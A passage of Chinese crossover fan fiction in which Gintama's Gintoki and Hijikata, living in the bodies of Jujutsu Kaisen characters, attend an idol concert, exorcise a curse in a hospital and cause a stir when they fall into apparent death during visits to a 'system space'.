土方十四郎从口袋里拿出手机，看了看时间：“就在这分开吧，碎片你好好保管，到今天晚上的周总结上问一问哥布林大叔。”
坂田银时比了个OK，随手拦下一辆出租车，朝高专的方向开走。
在系统空间自闭的宅十四瞬间精神起来，果断选择遗忘之前听到的东西，迫不及待地立马现身，以百米冲刺的均速跑到地铁，拿走来时存在储物柜里的包裹。
再在厕所里换好印着星野爱图片的痛t，并且非常具有保密意识地在外面穿上一件外套，力求在演唱会结束之后，以最快的速度，为星野爱拉到最多的粉丝。
最后他拿出一抹红色的抹额系在额头，抹额上面什么也没写，只画了一个爱心。
着装完毕，他单肩背着装满物料的包，踏上了前往会展的路。
随着离会展越来越近，地铁上的人流量也渐渐增加，看着穿着和自己类似服装的人多了起来，宅十四的内心充满了归属感。
出了地铁，他顺着人群来到地面，之前看着还空旷的场地上，多了很多流动摊子。
有些是跑来凑热闹割韭菜的商贩，而有些则是粉丝租来发放物料的。
身为还没出道的秘密偶像，宅十四不敢这样大张旗鼓，但是前期工作还是能做的，为此他制定了一系列详细的计划。
第一步，就是要先扩大自己的交流圈，这样才方便后续拉人。
他拿出一支黑色记号笔，在抹额爱心前面，写上一个偶像的名字，然后一脸自来熟地扎堆到这个偶像的粉丝堆里。
等几句话稍微熟络，要到联系方式之后，他就抽身离去，卸下抹额，再从背包里拿出崭新的一个，重新写上另一个偶像的名字，并再次扎堆到粉丝堆里。
提前做好所有参演偶像功课的他，充分发挥了见什么粉丝说什么话的技能，自如地行走在各个粉丝圈内。
而在这片热闹的景象下，角落里一个与“宅”字格格不入的西装男，伸手按了下耳朵上的耳机，边注意着周围，边小声汇报着。
“夏油杰已经到达现场。”
耳机里传来因为电流而有些失真的声音：“盯紧他，我们马上到。”
39.第三十九章
被设为重点观察对象的夏油杰，最近很不对劲，这引起了总监部内，一部分忌惮新兴力量的人的警惕。
他们看着夏油杰不将他们放在眼里，不光在高专内乱放咒灵，甚至还堂而皇之地闯进会议现场，只是为了宣传什么动漫小人。
这比往常更嚣张，更目中无人的态度，看得一群老橘子牙痒，也气得他们头疼，偏偏人家实力在那，还拿他没有办法。
不光如此，好像最近还流传着什么“夏油杰因为爱而不得而精神分裂”的传言。
这荒唐至极的言论看得他们眼前一黑又一黑，深感跟不上新时代咒术师的潮流。
比起什么狗血的爱恨情仇，满脑子阴谋论的他们更倾向于这是迷惑他们的手段。
他们将手里的宣传单翻来覆去查看了一遍又一遍，没能看出个所以然，反而疑惑越来越多。
什么虚拟偶像需要聚集这么多人？还需要一个一级咒术师这么上心？
深思熟虑之后，他们准备亲自实地考察，看看夏油杰到底在搞什么花样。
于是在演唱会前一天的现场，除了各家粉丝，中间还混着被总监部派来，探查情报的人。
宅十四到达的时间比他们预期的要早很多，导致他们一时间有些猝不及防。
其中一个总监部的人，本以为自己值日，混到个什么也不用干的好时段，却没想到正好遇到目标人物到场。
尽管内心再怎么感叹倒霉，行动上还是立马敬业地通知了上司，并且更倒霉地得到了“在他们赶来之前，先去监视夏油杰在做什么”的这种异常艰巨的任务。
他满脸痛苦地看着远处，耳机里传来上司不耐烦地催促，只能一脸英勇就义地跨步向前。
离近了之后，一堆听得他脑壳发晕的对话，伴随着耳机里上司的骂骂咧咧一起钻进脑子里。
“要我说mio酱这个舞担才是团内的门面啊。”
宅十四先是点了点头，然后有些犹豫地说着：“但是mio酱唱歌有点… …”
“那果然还是maru队长更全能，跳舞唱歌没有短板。”
宅十四梅开二度：“但是颜值稍微… …”
“… …那yoyo酱呢？颜值算是团内门面了吧？”
宅十四再次沉思：“唔，说不好啊，她脸型很挑角度啊，而且除了脸没什么长处，那不就是个花瓶吗？”
一番杠精言论，将围在他周围，原本在热烈讨论的同团粉丝们集体整沉默了。
总监部的人就光听了这么一小段，就算没有任何女团知识，也察觉到气氛不对劲。
他从西装口袋里掏出一张手帕，擦了擦额头的汗。
不愧是咒术界有名的刺头，就算面对普通人，该怼还是怼。
一直忍不住疯狂锐评的宅十四，等半天没有等到下一位选手发言，睁开眼看了圈周围沉默不语的粉丝，满意地点了点头。
不愧是他，二次跨三次都能点评得一针见血。
“喂，你小子。”人群中一个人满脸不爽地站了出来，“从刚才开始，就一直说些扫兴的话，你是什么意思？”
“嗯？没有啊，我只是实话实说而已。”
另一个粉丝抬眼看到宅十四额头上的抹额，那抹额上写着“zizi”，是宅十四随便写的团内一个人的名字。
但其他人并不知道，这抹额再结合刚刚宅十四的一番低情商杠精发言，他们恍然大悟，接着勃然大怒：“好啊，原来你是zizi的毒唯？！”
“什么？”周围早就憋着火的粉丝，开始逮着点猛烈输出，“要我说zizi这种要颜没颜，要实力没实力的，早该被踢出我们团了吧？”
此话一出，周围zizi的粉丝也忍不住了，纷纷加入了这场骂战中。
眼见人越聚越多，总监部的人赶忙挤了出来。
他们总监部哪里见过这种集体骂战，平时他们就算开会时候意见再不合，上面的人也多少会顾及面子，吵架也不会是这种撕开脸皮的吵法。
不光现场的总监部下属，就连他耳机里的上司也愣住了。
同时脑子里更加疑惑了，这个夏油杰到底来干嘛的，引起线下真人pvp，宣泄负面情绪，有仇当场报，然后以此减少咒灵的产生吗？
与此同时，另一边的坂田银时陷入了震惊中。
“你说什么？”
小钢珠店的店员，将银行卡递回给坂田银时：“您的这张卡已经被冻结了，没办法付款。”
“啊，啊哈哈，这样。”坂田银时尴尬地干笑着，“对，我是忘了让他们解冻了，等会。”
他转身，十分熟练地打通五条翔一的电话。
“喂喂喂，我的卡为什么还没有解冻？”
对面沉默了一会，似乎也很不忍心：“悟大人，是家主大人不让解开的，为了帮助您戒掉赌瘾。”
“那我其他要用钱的地方怎么办？”
“您需要什么可以直接和我说，我会帮您置办好的。”
坂田银时大骇，据理力争地想要说服对方，却被早就料到的对方直接挂断了电话。
听着手机里传来的忙音，他目死地抬头看着天花板，一行泪水从眼角滑落。
再见了，他无忧无虑的富n代生活。
因为他就办了这一张银行卡，所以不管是五条家的打款还是他自己的任务报酬，都在这张卡里。
体验做诅咒师的时候，孔时雨倒是帮他办了张卡，但是因为第一单委托失败，雇主还死在了伏黑甚尔手里，所以空有一张卡，里面一分钱也没有。
现在的他，是真的身无分文。
而且如果他没猜错的话，以后他做任务得到的报酬，恐怕都会被五条家监管了吧？
熟悉的贫穷感再次追上了他。
浑浑噩噩地走出店门，他看着来来往往的车辆，悲从心来。
他甚至连打出租车的钱都付不起了，只能刷卡挤地铁。
就这么一路忧郁地走到高专的台阶下，他才回神。
果然什么都是虚的，靠天靠地就是不能靠别人，他不能再这样堕落下去，就算在异世界，他也要赚钱，只有自己手里的金钱才能给他安全感。
想通的他眼神渐渐坚定，然后就在门口遇到了夜蛾正道。
夜蛾正道看着两个人出门，就回来一个人，脸色不好起来。
“杰呢？”
坂田银时没有犹豫一秒，立马就出卖了对方：“看演唱会去了。”
“演唱会”和夏油杰联系起来，违和感之大让夜蛾正道愣了一下，然后他想起来，现在还放在自己办公室抽屉里的，那张据说是原件的宣传单。
那天竟然是真的只是去做宣传的吗？
心情复杂的夜蛾正道，最终只能干巴巴地说出：“… …演唱会，原来是今天。”
“不是，是明天。”
额头的青筋熟练冒出，夜蛾正道深吸口气：“那他今天是去干什么？”
“夜排啊，好像是有什么要抢号的周边。”
夜蛾正道自动忽略了自己听不懂的名词，大致猜出是为了买什么偶像的东西。
“不管什么原因，这都是无故旷课，你告诉他，演唱会结束之后，写一份一千字的检讨。”
“好嘞！我现在就告诉他！”
坂田银时兴奋地打开手机发信息：【夜蛾发现你旷课听演唱会去了，让你结束之后写一万字检讨。】
看着当着他面增加了十倍字数的短信，夜蛾正道想要阻止，但奈何坂田银时手速更胜一筹，在他出声之前就发送了出去。
自己的两个学生互坑的这种事，夜蛾正道也差不多习惯了，后续往往是打一架就能和好，就是学校的建筑恐怕又要遭殃了。
他头疼地揉了揉额角：“不要这样捉弄杰，到时候打起来还会损坏公共设施。”
坂田银时捂着嘴奸笑着，嘴上敷衍地应着，心里想着下次还干。
他耐心听了会训话，抬眼看到夜蛾正道还站在原地，比划了一下：“那没事我就先进去了。”
“等一下。”夜蛾正道喊住他，“既然杰不在，那下午这个任务，你自己一个人去做吧，还是说要硝子陪你一起？”
“男
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子汉大丈夫，做个任务还要人陪？多丢人！”
他先是狠狠内涵了下宅十四，然后为能得到报酬感到开心，心里的小九九转得飞起：“夜蛾老师，可是我卡被冻结了，你看这报酬也打不进去啊，要不，您帮我把卡解冻了？”
夜蛾正道一听就知道他在憋什么坏，之前五条家和他打好过招呼，他对于帮助戒赌这件事，也是举双手赞同，于是想也不想的严词拒绝。
“报酬我会打给五条翔一，你缺什么和他讲。”
“不要啊！”
没有理会背后坂田银时的哀嚎，夜蛾正道联系了辅助监督之后，再叮嘱了几句就转身走进了高专。
坂田银时收起失望的表情，他就知道事情不会这么简单，所以一开始也没抱多大期待，好在他还有别的选择。
想要赚钱，看来还得从诅咒师那边下手。
手机适时响起，是辅助监督渡边的信息，说是他已经在来的路上了，让坂田银时稍微等一等。
正好趁着等待的这段时间，坂田银时回了趟宿舍，将碎片放在抽屉里锁好，再拿着饭卡去食堂刷了一堆甜点。
白天的高专空旷而又安静，大家或去做任务，或是在教室里上课，像坂田银时这种到处乱逛的是个例外。
他咬了口手中的和点心，密密的甜味顺着舌尖滋润到心中，得到糖类补充的大脑散发出快乐的信号，让坂田银时郁闷的内心得到了缓和。
调整好心情的他，随意地坐在高专门口的台阶上，无处安放的大长腿一下子跨了两三节台阶，一眼看去就是好大的一只。
渡边急忙赶到的时候，一眼就在台阶上看到了他，于是三两下快步上前。
“抱歉，五条同学，让你久等了吧？”
“嗯？没有。”发着呆的坂田银时回过神，起身拍了拍屁股上的灰，“走吧，地点在哪？”
“是一个医院的住院区内。”
渡边将手里任务的具体信息报告递了过去，两人边走边交流着。
“这次的任务发生在郊区一所医院内，等级并不高，大约是二级咒灵的样子，但是因为出现地点周围的一般人比较多，所以麻烦五条同学下手稍微轻一点。”
坂田银时提了提肩上的剑袋，里面放着之前从忌库里拿的咒具：“放心好了，我打架超有分寸的。”
渡边低头看了眼脚下的台阶，上面还有一道深深的沟壑没来得及补完，这是坂田银时那晚使用术式赶路失败的痕迹。
所以渡边看淡一切地笑了笑，心里对于坂田银时自信的说辞没有抱任何期待。
两人坐上车，从一个郊区赶往另一个郊区。
等到了目的地，已经是一个小时之后的事情了，这还是在没有堵车的前提下。
时间太长坐得身体都开始僵硬了，于是一到地方坂田银时就急忙下车舒展四肢，然后跟着辅助监督的指引来到了住院区一栋楼的五层。
这一层的病人和医护人员已经被提前疏散了，以方便咒术师祓除咒灵。
但保险起见，坂田银时还是放开六眼再次检查了下整层楼，然后皱起了眉头。
“里面还有个人。”
“是的。”渡边弯了弯腰，“这边撤离人群的时候发现的，咒灵是附在了这位病人的身上，所以不能转移。这边窗给出的猜测是，这位病人很有可能是被人诅咒了。”
“那你们知道，这个病人是个术师吗？”
“嗯？”
六眼下，一切都无所遁形，坂田银时清晰地看到那个人是个具有生得术式的术师。
坂田银时沉吟了一下，问道：“有这个病人的资料吗？”
“有的。”
渡边从一边的护士站处，挑出事先准备好的资料。
坂田银时接过，仔细看起来。
病人年纪35岁，在右上角贴的照片里，神情很憔悴，整个人也瘦得看不见肉，而且样貌微妙得感觉有些眼熟。
接着坂田银时眼神一凛。
只见姓名那一栏，写着黑泽琴枝。
而下面的家属人姓名，写着的，是黑泽法子。
40.第四十章
就在他们调查的时候，外面突然传来吵闹声。
下一层的病人和一些家属被声音吸引过来，好奇地聚集在楼道口。
看着普通人越来越多，渡边皱了皱眉，朝外面扬声询问：“发生什么情况了？”
早就看到外面情况的坂田银时，没有等到外面回答就直接说：“让他们把人放进来吧。”
虽然不清楚什么原因，但毕竟是身为给咒术师打辅助的辅助监督，于是渡边还是憋着疑惑去外面将人接了过来。
坂田银时背靠着护士站，翻了翻手里薄薄的一张纸，看着黑泽法子急匆匆地闯进来。
对方看到他，不出意料地惊讶道：“是你！你怎么在这？”
“我是咒术师啊，出了咒灵当然要我祓除。”
渡边脸色一变，眼神慌张地看了看两人，这显然不是能和一般人说的话题。
看出渡边的担忧，坂田银时摆了摆手：“这位知道的，不用隐瞒。”
“果然是出现咒灵了吗？”黑泽法子上前一步，“五条先生，可以先等一等吗？我的母亲还在里面。”
“就是你母亲这边出了事。”
“… …怎么会。”
“总之你不用担心，有我在，你母亲不会出事的。”
“那我可以一起去看看吗？”
坂田银时抬眼，观察了下对方。
黑泽法子的脸色比上次见面时还要差，虽然有化妆品遮掩了下气色，但眼里的疲惫一眼就能看出。
她昨晚应该是没有睡好，强打精神上班又听到医院这边出事的电话，立马就赶了过来，以至于此刻她身上还穿着咖啡店里的女仆装。
印象里，坂田银时好像没见过她穿第二套衣服的样子。
左右不过是一个二级咒灵，与其让人在这边不安分，不如带在自己身边。
于是出乎渡边的意料，坂田银时同意了黑泽法子的同行。
漆黑的帐被放下，笼罩住了整条走廊，一种恐怖的气氛油然而生。
而黑泽法子站在其中完全没有察觉，她焦急，却又不得不放慢脚步跟在坂田银时身后。
出现咒灵的病房在最里面的一间，还没进入，就能看到门板上浸着些许咒力残秽，显然这个咒灵已经徘徊在此地很久。
没有犹豫，坂田银时直接推开门，在充斥着消毒水的病房内，看到一名女子安静地躺在床上。
她紧闭双眼，如果不是看到她胸口有微微的起伏，乍一看还以为已经悄然离世。
一只一如既往丑陋的咒灵趴在她的床边，比灯泡还大的眼睛里不断滴落着眼泪。
它盯着床上的黑泽琴枝，漆黑的手掌握住铁床的围栏，轻松留下凹痕。
没有智力的它，断断续续说着的残句，就像是在诉说着自己诞生的缘由。
“妈妈，不要离开… …不要，抛弃我。”
没有处在生命危险的时刻，就算黑泽法子身处帐中，也看不到咒灵，感知不到咒灵的存在。
她睁着迷茫又焦急的眼睛，看向坂田银时：“怎么样？我母亲没有事吧？”
关切的询问声和咒灵的哭喊混在一起，爱意和诅咒彼此交织，让坂田银时一瞬间觉得荒唐又可悲。
“嗯，没事。”坂田银时松开背上的剑袋，拔出咒具，“二级而已，很快就能解决。”
手起刀落，一瞬间咒灵便被祓除。
看着恢复干净的病房，坂田银时的内心并没有轻松下来。
他知道，这只是一时的清除，只要人的负面情绪还在滋生，不久之后，就会有新的咒灵诞生在这里。
“结束了，是吗？”黑泽法子松了口气，想要缓解下气氛，“空气好像没那么闷了，这么看，我还是能感受一点咒灵的嘛。”
“这就是你需要钱的理由？”
刚刚看到的病人信息里，写明了病人的病症，黑泽法子的母亲，得的是精神方面的疾病以及严重的营养不良。
看着黑泽法子面露难色地点了点头，坂田银时头疼地叹了口气。
他看了眼面容消瘦的黑泽琴枝，最终还是妥协了。
“你再等等，我想想办法。”
任务结束，楼道的警戒线被拆开，大家做着自己相关的后续处理工作。
坂田银时走出大楼，拨通孔时雨的电话。
他和伏黑甚尔的黑吃黑，肯定是不能让黑泽法子参与进来的，但是让对方在拍卖会上做个服务员什么的，应该没有问题。
“那你为什么不安排给她别的高薪工作？”孔时雨不解，“就算是五星级酒店的门童，一天也能赚不少钱吧？那种工作不是更安全？”
“我也不是没想过。但有些心结，恐怕不是这么容易能解开的。”
孔时雨不明所以，但坂田银时也没有给他继续解释下去的兴致，商量好塞人所需的报酬之后，两人便结束了通话。
虽然咒灵很快就被祓除了，但高专到任务地点距离不短，一来一回费了不少时间。
等再次回到高专，太阳已经沉向西方。
身无分文，还有夜蛾正道镇压的高专，难得让坂田银时安分了下来。
无聊的他先是去敲了七海建人的房门，失望地得到了对方的无情忽视。
好在住在边上的灰原雄听到声音，热心地打开了房门。
两人打开游戏机，准备开始通宵开黑。
游戏音乐和音效在不大的宿舍内回响，两人越战越酣，渐渐陷入忘我境界，不断响起为胜利的欢呼和对失败的沮丧。
而一墙之隔的七海建人躺在床上，双手交叉放在胸前。
本应该陷入梦乡的他，此刻却怒目圆睁，面露痛苦。
他从来没想到，高专宿舍的隔音竟然这么差，而他的听力竟然能这么好。
就在他准备奋起反抗，怒而砸墙的时候，听到对面的灰原雄突然惊呼起来。
“五条前辈！你怎么了？五条前辈！”
愣了一秒，七海建人才意识到对面好像不是在恶作剧，于是立刻掀起被子，打开灰原雄没有上锁的房门。
“怎么了？”
“五条前辈他刚刚突然就昏过去了。”
只见宿舍唯一的沙发上，坂田银时闭着眼睛，向后仰着头，双手无力地垂在身边。
七海建人几步上前，伸手探了探鼻息，再摸了摸脖子上的动脉，神情难看起来。
没有呼吸，也没有心跳。
“前辈他，出事了。”
同样的事情还发生在演唱会的会展门口。
为了抢周边，此时的门口已经排起长长的队伍，甚至有人带着被子和睡袋。
在这寂静而又平常的夜排中，宅十四突然毫无征兆直挺挺，面朝下倒在地上。
倒地发出的剧烈声响在广场上回荡，引起所有人的注意。
附近的粉丝面面相觑，从没见过这个场面的他们，一时间还没能反应过来发生了什么。
有人大着胆子上前，晃了晃宅十四的肩膀：“你好？你没事吧？”
见对方没有反应，他犹豫了一下，伸手扶起宅十四，却惊恐地发现对方已经没有了呼吸。
尖叫声划破寂静的夜晚，原本安静排队的人群慌乱了起来。
在一旁维护秩序的警备队员急忙上前，安抚人心的同时查看情况。
广场上一时间混乱不已。
混在队伍里的总监部的几个人一脸茫然。
一级咒术师因为熬夜排队买偶像周边猝死了？这话说出去谁信啊！
不知道自己在外面造成了另一个层面的真“社会性死亡”，当事人坂田银时和宅十四只觉得眼睛一闭一睁，就来到了系统空间。
一回生二回熟，更何况这都第三次了，所以他们一时间也没觉得不对劲。
宅十四照常缩在角落，事不关心地刷着手机。
空间内的大屏幕亮起，等候多时的哥布林大叔疲惫又一言难尽地看向两个活宝。
【除了被家入硝子发现以外，还发生什么异常状况吗？】
土方十四郎叼着根烟，回想了一下自己，主要是回忆宅十四做了什么。
追星，女装，发传单，买周边。
嗯，没什么要注意的意外。
一旁的坂田银时摸着下巴，看
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看天，看看地，想了想自己做了些什么。
赌马，打小钢球，翘课，做诅咒师，裸奔（划掉），提前和伏黑甚尔对上。
嗯唔，没什么值得注意的。
于是两人理直气壮地同时说出：“没有异常。”
哥布林大叔狐疑地看了他们仨一眼，犹豫再三，还是选择相信了他们。
或者说除了相信，他也做不了什么。
他就从没有见过比他还卑微的甲方。
轻轻揭过这一段，坂田银时没忘记自己的主要目的：“对了，今天我们去了五条悟和夏油杰消失之前，去的最后一个地方，发现了这个。”
因为担心会在不知情的情况下，被拉进空间，所以坂田银时随身带着那块碎片。
此时他从睡衣口袋里，掏出用纸巾裹得严实的一大坨，在众人的注视中，一层一层掀开，最后露出里面的一点红。
土方十四郎指了指碎片：“这个东西，有印象吗？”
【这是！】
哥布林大叔立马坐直了身体，倒吸一口气：【你们在现场找到的？可恶，难道那个员工背叛了我？】
“也不能就这么下决定吧？”坂田银时将碎片凑近摄像头的位置，好让对方看得更清楚，“往好点想，说不定你的员工只是遇害了，而凶手是某个察觉到不对劲的原住民，ta在行凶之后，利用得到的异界知识策划了这场‘最强组合转移大法’呢。”
【… …这种假说明明更糟糕了吧？】
土方十四郎询问着：“这玩意到底有什么用？”
【简单来说，就是世界的锚点。可以向外界发送信号，一般是用来定位本世界用的。但如果用别的方法，将其损坏，里面的空间力会在一瞬间爆炸，从而扭曲空间。】
土方十四郎了然地点了点头：“原来是用这种方式把五条悟和夏油杰送走的吗？”
“不对啊！我之前也破坏过一个，也没出现什么空间扭曲啊。”
【什么？你还破坏过一个？！】
音响里传来对面带着破音的话语，刺耳的电流声都不能完美地表示出哥布林大叔，此时的崩溃。
他捂着自己的胸口，只觉得每一次的见面，都会给他带来全新的折寿套餐。
【算了算了，习惯了。】他安慰着自己，【至少比原住民再拿来搞事情的好。】
不愧是能做到管理层的领导，心理调节能力和他的能屈能伸能力都点到了最高。
调整好心态后，他解答着：【所以说是要辅助一些特殊手段，不然碎掉之后，里面的空间力只会四散在空气中。】
两人似懂非懂地点了点头。
这样就基本排除东西碰巧碎在那，不小心带走五条悟和夏油杰的可能了。
有什么人，在得到新知识之后，迫不及待地用在了那两人身上。
坂田银时和土方十四郎对视一眼，这个专门针对五条悟和夏油杰的人是谁呢？
“羂索吧？”
“嗯，羂索。”
看着满脸淡定的两人，哥布林大叔只觉得自己沧桑了十岁：【如果真是这样，那情况就很糟糕了啊。】
毕竟他们不能随便改变世界发展的重要节点，羂索这个人物在未来还有很重要的出场，不能轻易动他。
但是如果对方真的获得了时空的知识，他们就必须把对方除掉，防止事态恶化。
哥布林大叔面色沉重下来，准备先去做好最坏的打算。
土方十四郎建议着：“你们可以试试定位下剩下的锚点，说不定能有对方的线索。”
事情商量到这里，基本上也差不多了。
两个人再讲了下自己现在的调查方向，就准备回到现实世界了。
临走前，哥布林大叔说了一个今晚的第一个好消息。
【我们已经定位到五条悟和夏油杰的位置了，不出意外的话，很快就能把他们换回来了。】
但这同样也意味着，坂田银时和土方十四郎寻找幕后黑手的时间紧迫，他们必须在原主回来之前，解决好这些问题。
他们各自带着沉重的内心，回到了现实世界。
41.第四十一章
意识散去再重聚，坂田银时下意识闭着眼睛转动了下眼珠，手指微动。
指尖感觉到一片冰凉，让他停下了动作。
他在去系统空间之前在做什么来着？
好像是在和灰原雄打游戏。
那不应该在沙发上或者床上醒来吗？难道他的阳光学弟把他扔在地上不管了？
他怒而睁眼，眼前的画面却不是天花板，更不是布满星星的天空，而是白茫茫的一片。
不怎么清醒的脑子转动了好几圈，他才终于意识到，眼前的那是什么。
到底是哪个缺德的，把白布盖在自己身上了？！
大手一挥，坂田银时掀开这层怎么看都不吉利的布：“是哪个混蛋？竟然用这么恶毒的方式来诅咒我！我不会放过他的！”
他呲着牙环视一周，最终和家入硝子对上了眼睛。
坂田银时：“… …”
眼下泛着微微黑眼圈的家入硝子挑挑眉，合上手中厚厚的医学类书籍：“你准备怎么不放过他？”
“原来是硝子酱啊～还是这么喜欢开玩笑，没关系，喜欢玩下次可以多玩玩。”
面对不能惹的人面前，坂田银时一向有套灵活的标准。
“你这次可是把两个学弟吓得够呛。”家入硝子起身，“发生什么事了吗？突然就没有心跳和呼吸了。”
“… …真的假的？”坂田银时脸上的讪笑顿住，“我们在系统空间的时候，身体在外界表现的形式竟然是这样吗？”
忽略掉不是很理解的“系统空间”这个词，家入硝子点了点头，顾及着这里是医疗室，只从口袋掏出个棒棒糖，叼在嘴里。
“总之七海和灰原那边，我帮你糊弄过去了，这次应该没事了，不过下次如果还有这种情况，记得提前把自己锁在屋子里。”
“很遗憾的是… …事情还不算过去了。”
“嗯？”
坂田银时没有忘记，宅十四和土方十四郎进系统空间前所在的地方。
那边可是有相当多普通人聚集的。
他当即双眼一闭，仰头倒在解剖台上，后脑勺与铁板接触，发出巨大的响声，听得家入硝子牙一酸。
再上前一看，坂田银时已经陷入之前的假死状态了。
猜到对方又是去了什么系统空间，家入硝子叹了口气。
刚刚还说先把自己锁在屋里再假死，这不是完全没有把自己的话听进去吗？
她重新坐了回去，翻开还没看完的专业书。
原本热闹的会展广场，此时正在被有序地疏散人群。
救护车闪着红□□光，“乌拉乌拉”地从远处驶来，几个医护人员，抬着担架从车里冲了下来。
对着失去生命体征的宅十四一顿抢救。
总监部的几个人混在人群里，心里实在是好奇，但又碍于不能暴露身份，只能在疏散的队伍里磨磨蹭蹭，一步三回头。
眼看着远处的医护人员遗憾地摇了摇头，几个人大惊，难以置信地互相对视几眼。
其中一个人哆哆嗦嗦地伸手按向耳机上的通话按钮，咽了咽口水，向对面汇报着自己都不怎么相信的事情：“夏油杰疑似因为熬夜突然猝死。”
“什么？！”
还没等对面的人反应过来，只见众目睽睽之下，那披着白布的身体突然坐了起来。
现场再次哗然。
几个离得最近的医护人员尖叫着跑走，只留下白布滑落后，满脸懵逼的宅十四。
“别动！”
几个黑漆漆的枪1管指着他，就差要怼到他脸上了。
“对不起！非常对不起！”虽然不知道什么情况，但立马土下座道歉肯定是不会出错的，“那个，可以问下，现在这是什么情况吗？”
流畅的对答，让警备队员愣了下，再仔细看了看宅十四不断冒冷汗的脸，看起来不像是被什么奇怪的东西上身了啊。
队长看向躲在一边的医护人员：“你们确定刚才他已经失去生命体征了吗？”
看着医护人员点了点头，宅十四瞪大了眼睛：“谁？我吗？那我这算诈尸了？”
他起身，朝着周围走了一圈，所到之处众人都自觉地退避三舍。
场面一时间僵持住了，这诡异的现象就算是身经百战的警察也没见过。
经验丰富的队长没有多耽误时间，立马说着：“快！先联系相关部门。”
现场群众疏散的速度远远慢于预期，他们不好直接动手，对于面前这个奇怪的景象，还是交给专门负责的人。
宅十四左右看看，弱弱地举起手：“那个，我好像就是有关部门。”
很可惜，没有人相信他的话。
很快，熟悉的黑色轿车就驶进了现场，从上面下来两个人。
一个穿着纯黑色的西装，另一个穿着红白的巫女服。
正是辅助监督和庵歌姬。
在附近做完任务，正准备回高专却被抓来加班，庵歌姬本来心情就不好，此时看到导致她加班的元凶，脑子里却疑惑了起来。
“这是闹哪出？夏油不是在这吗？”随即她想通了，“原来如此，是有解决不了的事情吧？看来还是得看前辈我。”
“不是的。”宅十四指了指自己，“要解决掉的，好像是我。”
“… …啊？”
庵歌姬上下打量了下宅十四：“你要做诅咒师了？”
然后面露难色，很不情愿地说：“我也打不过你啊。”
宅十四比了比大拇指：“没关系的歌姬酱，虽然巫女装不是我的癖好，但是看在你也算是妙龄美少女的份上，我不会伤害你的。”
“… …跟我这个前辈说话，语气给我放尊重点啊！你这个突然变轻浮的混蛋！”
此刻更加震惊的是警备队队长，他看着熟稔互怼的两人，有些迷茫，没想到对方真的是传说中那个神秘组织的一员。
他惊疑不定地看向宅十四，在他额前的刘海处忍不住多看了一眼。
不愧是被称为怪人云集的地方，竟然还有在公共场合诈尸的爱好，这可真怪啊。
但不管怎么说，比预期的情况都好了不少。
他放松了下来，手里枪的枪口不再对准人，而是指向地面：“原来是误会，抱歉，因为这位先生的行为有些… …超出日常，我们一时间有些难以判断。”
庵歌姬停下争吵，很有前辈样地压着宅十四一起，朝着警备队微微欠身：“哪里，我们这里才是，我这位后辈性格是这样的，很抱歉，让你们受惊吓了。”
双方一番交流，才搞清了这个乌龙。
在系统空
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间里看完全过程，土方十四郎和坂田银时同时松了口气。
还好来的是熟人，也还好来的是庵歌姬，不然还真不知道该怎么解释。
“回去之后就给那个哥布林大叔写举报信，怎么能把这么重要的信息忘了说。”
土方十四郎难得的，和坂田银时达成了一致意见，他吐出一口烟，真觉得他们能继续在这个世界兴风作浪，多少靠点运气在身上。
坂田银时看着事情有惊无险地解决，摆了摆手，毫不犹豫地离开了，剩下土方十四郎一个人盘腿坐在地上，关注着后续。
此时原本夜排的人群已经基本走光，现场也没有需要处理的事情。
夜已经深了，赶到高专还要不少时间，于是庵歌姬没有过多停留，打着哈欠告别了众人。
宅十四看着空荡荡的广场，大喜过望，抬腿就想冲到最前面的位置，被队长拦下。
他耐心解释着：“您的这个… …呃，‘行为艺术’，多少带来了点负面影响，所以这次不允许夜排了。”
“怎么可以！少了夜排的偶像演唱会，就像是没有水手服的美少女战士，是不完整的！”
队长表示他并不是很理解，也不是很想理解对方对于“完整”的理念，只想让这个夜晚没有意外的平安度过。
这次又是顾及着对方的身份，队长不好来硬的，两人再次僵持不下。
“事情还没解决吗？”
宅十四转头看去，姗姗来迟的，正是之前任务的委托人，四宫先生。
看到熟人，宅十四腰杆子立马硬朗起来：“好久不见，四宫氏，我来看演唱会了。”
半夜被人从被窝里叫醒，四宫的脑子还有些不清醒，但当他看见在空荡广场上憨笑的宅十四时，下意识感觉头开始疼了起来。
“情况我已经了解了。”他平复了心情，“夏油先生想要什么周边，我可以直接给您，不需要花时间排队的。”
经过这段时间和禅院家的接触，四宫对于咒术界的认识更多了些，对于这未来新星，他也产生了些许拉拢的心思，只是一点周边，如果能刷点好感，顺便平息事情的话，也不算亏。
“如果不嫌弃的话，也可以来我司名下的酒店里先休息一晚。”
“真的吗？那我能在那里看到爱酱吗？”
这副得寸进尺的样子，让四宫眉毛跳了跳：“… …请粉丝离偶像的生活远一点。”
最终，宅十四只能遗憾地离开现场。
路边的草丛中钻出几个脑袋，正是离开又回来的总监部的人。
他们看着宅十四坐着四宫的车离开，面面相觑，恍然大悟。
原来一切都是掩人耳目的演戏，目的就是为了甩开他们，和这个叫“四宫”的人接头。
咒灵操使恐怖如斯。
除去一晚没睡好的总监部的人，众人皆是一夜好梦。
第二天，精神满满的宅十四，拎着各种无料，提前两个小时进场。
对此，总监部的人早有预料，他们提前买了视野最好的几个座位，为的就是在现场换座，换到宅十四座位的附近。
他们要看看，对方到底要耍什么花样。
灯光暗下，大屏幕上闪烁着倒计时，在全场的欢呼声中，这场折磨了总监部神经许久的演唱会，拉开了序幕。
42.第四十二章
聚光灯下，衣着华丽的偶像扬着喜悦的笑容，悦耳的歌声通过话筒传达给会场的所有观众。
台下的观众挥舞着同色系的荧光棒，随着音乐前后摆动，台上是星光灿烂，台下是彩色热浪。
第一次接触到如此潮流的东西，总监部几个人都有些坐立难安，为了不被看出异样，只好也跟着舞动着手里的荧光棒。
但在这片热闹中，旁边似乎有些过于安静。
坐的最近的一个人，借着挥舞的动作往边上一看，只见宅十四目视前方，坐得比谁都端正，虽然手里拿着荧光棒，但是那双眼睛怎么看都像是在走神。
果然看演唱会什么的就只是个由头吧？
几个人再次坚定了内心的想法。
随着时间慢慢过去，台上的偶像换了一个又一个，场内的气氛也越来越热烈，最后走向尾声。
在依依不舍中，所有参演偶像在台上聚集，大家轮流发言，有人泪洒舞台，有人活跃气氛，在最后大家以为谢幕之时，突然所有灯光暗下。
紧接着硕大的屏幕亮起，在毫无准备的众人面前，虚拟偶像星野爱堂堂登场。
灵活的表情，流畅的动作，动人的歌喉，非真人的动漫形象，在这个科技还没有很发达的年代，所有这一切组合在一起，冲击性成几倍增加。
他们不由自主在第一时间想到的词语，就是“未来”。
